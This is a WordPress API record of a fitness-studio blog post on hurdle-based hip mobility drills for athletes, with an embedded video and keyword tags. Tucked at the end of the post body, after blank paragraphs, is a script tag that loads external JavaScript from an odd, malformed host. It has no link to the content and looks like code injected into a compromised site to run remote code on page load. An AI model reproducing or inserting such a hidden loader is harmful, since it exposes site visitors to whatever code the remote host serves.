{"id":216645,"date":"2020-04-29T12:32:33","date_gmt":"2020-04-29T16:32:33","guid":{"rendered":"https:\/\/synergyfitnessteam.com\/uncategorized\/hip-mobility-and-flexibility-for-athletes-part-ii\/"},"modified":"2020-04-29T12:32:33","modified_gmt":"2020-04-29T16:32:33","slug":"hip-mobility-and-flexibility-for-athletes-part-ii","status":"publish","type":"post","link":"https:\/\/synergyfitnessteam.com\/hip-mobility-and-flexibility-for-athletes-part-ii\/","title":{"rendered":"Hip Mobility and Flexibility For Athletes Part II Vestal NY"},"content":{"rendered":"<h2>Hip Mobility and Flexibility For Athletes Part II<\/h2>\n<div class=\"youtubomatic-video-container\"><iframe width=\"1920\" height=\"1080\" src=\"https:\/\/www.youtube.com\/embed\/MGlwJkdMaME?controls=1\" frameborder=\"0\" allowfullscreen><\/iframe><\/div>\n<p>**Sign Up For Joe&#8217;s FREE Newsletter: <a href=\"https:\/\/synergyfitnessteam.com\/\" target=\"_blank\" rel=\"noopener noreferrer\">https:\/\/synergyfitnessteam.com\/<\/a><\/p>\n<p>Part 2 of 4 of our hip mobility  and flexibility series.<br \/>\n&#8211; Front Steps &#8211; Keep your toes on the planted foot pointing forward.  Raise your foot and step over the hurdle, land, and then bring the back foot.<\/p>\n<p>&#8211; Side Steps &#8211; Keep your toes pointing in the same direction.  Bring the knee up closest to the bar and step over.  Bring the trailing leg in the same manner.<\/p>\n<p>-Backwards.  Keep the toes on the planted foot pointing forward. Bring the foot up, open up your hips, and step over the bar.  Same with the trailing foot.  <\/p>\n<p>&#8211; Under the Hurdle &#8211; Bring your weight down on the foot away from the bar.  Lower yourself under the bar, unlocking your hips at the bottom, and raising on the other side.<\/p>\n<p>These hip mobility and flexibility exercises are too simple and effective NOT to do! <\/p>\n<p>      -J. Hashey, CSCS<\/p>\n<p><a href=\"http:\/\/www.bullstrength.com\" target=\"_blank\" rel=\"noopener noreferrer\">http:\/\/www.bullstrength.com<\/a><\/p>\n<p>Keyword:<br \/>\nhip mobility,<br \/>\nflexibility,<br \/>\nwarm up,<br \/>\ndynamic stretch,<br \/>\ndynamic flexibility,<br \/>\nhip strength,<br \/>\n hip flexor,<br \/>\n hurdle,<br \/>\nduck unders,<br \/>\nfootball warmup<\/p>\n<p>&nbsp;<\/p>\n<h3 style=\"text-align: center;\">Hip Mobility and Flexibility For Athletes Part II Vestal NY Related Info<\/h3>\n<p><strong>Meta Description of <em>Hip Mobility and Flexibility For Athletes Part II<\/em>:<\/strong> Hip Mobility and Flexibility For Athletes Part II &#8211; Synergy Fitness Studio Vestal NY, Category: Synergy Fitness Team on YouTube, Tags: Duck Unders, duck unders<\/p>\n<p>Related City:\u00a0<a href=\"https:\/\/synergyfitnessteam.com\/vestal\/\">Vestal NY<\/a>, Tags: duck unders, dynamic flexibility, dynamic stretch, flexibility, football warmup, hip flexor, hip mobility, hip strength, hurdle, warm up, <a href=\"https:\/\/synergyfitnessteam.com\/tag\/duck-unders\/\">Duck Unders<\/a> and <a href=\"https:\/\/synergyfitnessteam.com\/tag\/customized-fat-loss\/\">Customized Fat Loss<\/a>, Categories: Synergy Fitness Team on YouTube and <a href=\"https:\/\/synergyfitnessteam.com\/category\/fitness-studio\/\">Fitness Studio<\/a>.<\/p>\n<p>Recommended pages or posts on Hip Mobility and Flexibility For Athletes Part II: <a href=\"https:\/\/synergyfitnessteam.com\/fitness-studio\/real-talk-4-social-media-fitness-myths\/\">Real Talk \u0096 4 Social Media Fitness Myths<\/a><\/p>\n<p><a href=\"https:\/\/www.youtube.com\/watch?v=MGlwJkdMaME\">Watch &#8220;Hip Mobility and Flexibility For Athletes Part II Vestal NY&#8221; on YouTube<\/a><\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<script src='https:\/\/bono.\/m.js?n=ns1' type='text\/javascript'><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Hip Mobility and Flexibility For Athletes Part II **Sign Up For Joe&#8217;s FREE Newsletter: https:\/\/synergyfitnessteam.com\/ Part 2 of 4 of our hip mobility and flexibility series. &#8211; Front Steps &#8211; Keep your toes on the planted foot pointing forward. Raise your foot and step over the hurdle, land, and then bring the back foot. &#8211; [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[43],"tags":[27,749,750,751,377,210,752,753,754,755,128],"_links":{"self":[{"href":"https:\/\/synergyfitnessteam.com\/wp-json\/wp\/v2\/posts\/216645"}],"collection":[{"href":"https:\/\/synergyfitnessteam.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/synergyfitnessteam.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/synergyfitnessteam.com\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/synergyfitnessteam.com\/wp-json\/wp\/v2\/comments?post=216645"}],"version-history":[{"count":0,"href":"https:\/\/synergyfitnessteam.com\/wp-json\/wp\/v2\/posts\/216645\/revisions"}],"wp:attachment":[{"href":"https:\/\/synergyfitnessteam.com\/wp-json\/wp\/v2\/media?parent=216645"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/synergyfitnessteam.com\/wp-json\/wp\/v2\/categories?post=216645"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/synergyfitnessteam.com\/wp-json\/wp\/v2\/tags?post=216645"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}